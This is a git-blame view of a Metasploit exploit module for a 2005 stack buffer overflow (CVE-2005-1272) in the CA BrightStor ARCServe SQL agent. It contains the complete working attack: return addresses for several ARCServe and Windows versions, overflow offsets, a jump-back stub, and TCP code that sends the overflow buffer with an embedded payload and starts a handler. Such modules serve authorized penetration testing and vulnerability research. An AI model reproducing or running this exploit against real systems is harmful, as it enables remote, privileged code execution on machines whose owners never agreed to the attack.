Files
metasploit-gs/modules/exploits/windows/brightstor/sql_agent.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

101 lines
3.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = AverageRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
def initialize(info = {})
super(update_info(info,
2005-11-26 22:12:54 +00:00
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
'Description' => %q{
This module exploits a vulnerability in the CA BrightStor
2005-11-26 22:12:54 +00:00
Agent for Microsoft SQL Server. This vulnerability was
discovered by cybertronic[at]gmx.net.
},
'Author' => [ 'hdm' ],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2005-11-26 22:12:54 +00:00
'References' =>
[
[ 'CVE', '2005-1272'],
[ 'OSVDB', '18501' ],
2005-11-26 22:12:54 +00:00
[ 'BID', '14453'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },
'Targets' =>
2005-11-26 22:12:54 +00:00
[
# This exploit requires a jmp esp for return
['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
# Generic jmp esp's
['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-08-02',
2005-11-26 22:12:54 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(6070)
])
end
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
def exploit
2013-08-30 16:28:54 -05:00
2005-11-27 01:51:50 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
# The 'one line' request does not work against Windows 2003
2007-05-23 15:51:55 +00:00
1.upto(5) { |i|
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
# Flush some memory
connect
begin
sock.put("\xff" * 0x12000)
sock.get_once
rescue
end
disconnect
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
# 3288 bytes max
# 696 == good data (1228 bytes contiguous) @ 0293f5e0
# 3168 == return address
# 3172 == esp @ 0293ff8c (2476 from good data)
2013-08-30 16:28:54 -05:00
buf = rand_text_english(3288, payload_badchars)
2005-11-26 22:12:54 +00:00
buf[ 696, payload.encoded.length ] = payload.encoded
buf[3168, 4] = [target.ret].pack('V') # jmp esp
buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
connect
begin
sock.put(buf)
sock.get_once
rescue
end
2013-08-30 16:28:54 -05:00
2005-11-26 22:12:54 +00:00
handler
disconnect
}
2005-11-26 22:12:54 +00:00
end
2009-05-19 13:20:32 +00:00
end